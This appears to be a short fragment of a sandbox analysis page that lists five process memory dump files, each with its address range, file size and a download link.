memory/4188-87-0x0000000005B80000-0x0000000005ED4000-memory.dmp

Filesize
3.3MB

Download
memory/4348-105-0x0000000000400000-0x00000000004A2000-memory.dmp

Filesize
648KB

Download
memory/4348-104-0x0000000000400000-0x00000000004A2000-memory.dmp

Filesize
648KB

Download
memory/4348-129-0x0000000000400000-0x00000000004A2000-memory.dmp

Filesize
648KB

Download
memory/4348-138-0x0000000000400000-0x00000000004A2000-memory.dmp

Filesize
648KB

Download